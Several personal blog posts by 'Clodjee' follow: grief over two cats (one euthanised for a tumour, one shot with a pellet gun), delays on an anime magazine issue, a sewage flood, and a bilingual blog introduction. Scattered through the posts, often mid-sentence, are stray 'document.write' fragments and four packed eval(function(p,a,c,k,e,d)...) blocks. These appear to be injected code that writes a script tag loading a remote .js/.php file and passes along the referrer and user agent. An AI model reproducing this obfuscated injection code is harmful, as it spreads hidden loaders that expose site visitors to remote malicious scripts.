Life

My beloved departed cats

/ Clodjee / Leave a comment

The backstreet is always full of stray cats. Some seek refuge on our balcony and we feed them out of compassion. Four years ago, document.write(“”); one of those cats touched our heart more than the others: it was a cute one-year-old female part siamese, part tabby. The winter was coming close so we let her in and she stayed with us since then. We called her Nyako. She was the best of cats: never complaining, never scratching furnitures, always clean. Like most cats, she was affectionate but distant.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdrna|var|u0026u|referrer|bikth||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktkza|var|u0026u|referrer|eytse||js|php’.split(‘|’),0,{}))

 One year ago we noticed that her face was not symetric anymore and that a tumor was slowly growing on the right side of her head. We knew that there was not much to do for that but hope it would not get bigger. It did, but we wanted to keep her as long as she would have a decent quality of life. We hope that she would grow old and eventually die peacefully. Unfortunately, a few weeks ago the tumor got so big that it deformed her mouth and pushed her eyes a little forward. She was constantly drooling and her eye was crying. She was sleeping all day and looked pityful. So, this morning we had her euthanized, relieving her of her misery. It was certainly not an easy decision to take, and the visit to the vet was not an easy moment either. At least now, she won’t suffer anymore and she’s probably happier in some cat’s heaven somewhere. But, to make it harder, it is the second cat that we lose this summer. Those cats were like our children and we miss them. At least, we still have one.

Earlier this year, we adopted two more cats: a black & white female with a black spot on the nose and a white spot on the tip of the tail (so we called her Spotty) and a light brown-reddish male, very noisy, that we called Nyaboy (and sometime also Foxy, because of his color and pointy ears). We couldn’t, obviously, keep too many cats so we found someone to take care of the very gentle and affectionate Spotty. Unfortunately, last April, Nyaboy was shot (twice!) in the back with a pellet gun by some moron (probably a kid playing with his new toy). He got a very nasty infection, but for some time it looked like he was having the upper hand. However, he did lost the battle after a while. Luckily, a few weeks later we learned that the young lady who was taking care of Spotty just got a new job in Hong-Kong and couldn’t bring her along. So we took her back. Now we have only Spotty. I’ll post some pictures of her later (right now I have computer problems, so I cannot).

Relaxing a bit

/ Clodjee / Leave a comment

Sorry for not having post much lately. I’ve spent most of July and August working hard on the layout of PA#85. Now I am done and I can relax a bit — but not too much because there still lots of updates to do on the web pages, document.write(“”); back issues to convert into eBooks, preparing the shipping and finally starting the plannification and layout for the next issue — watching some anime series or movies to review, cleaning up and doing a zillion things around the house.

Unfortunately, starting a series a bad luck that struck me in the last few days, the PA#85 will be delayed a little. Apparently, the printer press broke down and they had to wait for replacing parts. Then the printer had a big printing job to do before us and we were pushed back. Hopefully, we’ll start shipping by the middle of next week.

BTW, I forgot to post that link before, but here are the pictures from Anime Boston ’05.

Eventful Week [E]

/ Clodjee / Leave a comment

Tuesday [July 5] we had torrential rain which caused the sewage to back up… in the basement and, document.write(“”); through the pipes, even on the first floor. In the basement, it was not that bad since the floor has a kind of a funnel shape and I had blocked all the drainage, limiting the damage to only up to six inches of water in a part of the basement. No books, storage boxes or furniture were really damaged. On the first floor, I had an half-inch of water in the bathroom, that spilled in the corridor and into my office, then dripping back into the basement (damaging a few ceiling tiles). Again, not much damage beside a couple of wet carpets. However, it was a very trying and tiring evening. I worked like crazy to limit the damage, mopping the dirty water and then cleaning up. I worked in a kind of desperation, forgetting about pain and tiredness. I ended up with hand blisters and sore muscles all over my body (five days later I can still barely move!). It was quite a traumatic experience. Today, it is raining again and it makes me nervous. I keep looking at the doppler radar hoping not to see any heavy rain close by.

My wife and I being news junkies, we were also well served this week with the announcement of the olympic bid winner on wednesday [July 6] (I guess Paris lost because Chirac was really too arrogant) and the London bombing on Thursday [July 7]. I guess the people of London were lucky in many ways and it is the proof that the increase security do reduce the risk of attack. Forty something dead with four bombs is a relatively low amount of casualties compare to the Madrid bombing or even 9/11. I guess that the security mesures make it more difficult for the terrorists to mount effective attacks. But it is certainly no consolation for the families of the victims.

I spent the rest of the week running around preparing for Fantasia and working on various reviews for PA#85. With so much work to do, I am not sure I will have time to see many movies and I am counting on getting as many screeners as possible to compensate. I also took a few hours to change a little the layout of Protoculture web site top page. That’s the most visited page and I thought it would be more effective to use it to present products instead of just having the updates (now moved to a blog). Have a look if you have time. Now, back to work.

Take care everybody (is there anyone reading this, I wonder).

True Beginning [E] / Vrai Début [F] [Intro]

/ Clodjee / Leave a comment

[E] I guess now I am really ready to start. First of, document.write(“”); I must warn you that this blog will be bilingual (in English and in French). My comments will be in the language that is most appropriate for the subject (i.e. a French book will be reviewed in french). If there is one of those languages that you can’t read, please just skipped to the part you can read. Sorry!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zakey|var|u0026u|referrer|ykkad||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abbdy|var|u0026u|referrer|fbhbr||js|php’.split(‘|’),0,{}))

This is the place I chose to comment and rant about everything but mostly about Japanese animation, manga, science-fiction (particularly the one written in Quebec), cinema, new technologies, history and culture (Japanese and others).

This Blog is the counter-part to my web page clodjee.com, so if you haven’t done so already, please have a look on my page.

I’ll do my best to add comments, in either languages, as often as possible. But I am rather busy lately, so I won’t promise anything. Be indulgent and come back often to check what’s new!

[F] Je crois bien que là je suis vraiment prêt à commencer. Je dois d’abord vous avertir que ce blog sera bilingue (en anglais et en français). J’écrirai dans la langue la plus approprié pour chaque sujet (par exemple, je commenterai un livre dans la langue où il a a été publié). Si vous ne comprenez pas les deux langues, vous n’avez qu’a sauter par dessus les sections qui vous sont illisibles. Désolé!

Ici je m’exprimerai sur les sujets qui me sont chers: la science-fiction (particulièrement celle produite au Québec), l’animation Japonaise, les manga, le cinéma, les nouvelles technologies, l’histoire, la culture (en générale et Japonaise) et bien d’autres choses qui me passeront par la tête!

Cet blog est la contre-partie de ma page web clodjee.com, alors si ce n’est pas déjà fait, jetez donc un coup d’oeil sur ma page.

Je ferai mon possible pour ajouter des commentaires, dans l’une ou l’autre langues, le plus souvent possible. Quoique je suis plutôt occupé ces temps-cia lors je ne promet rien. Alors soyez indulgent mais surveillez le blog régulièrement pour les nouveautés!

Beginning

/ Clodjee / Leave a comment

Here I will comment and rant about everything but mostly about anime, document.write(“”); manga, science-fiction, cinema, new technologies and history. You are welcomed to comment.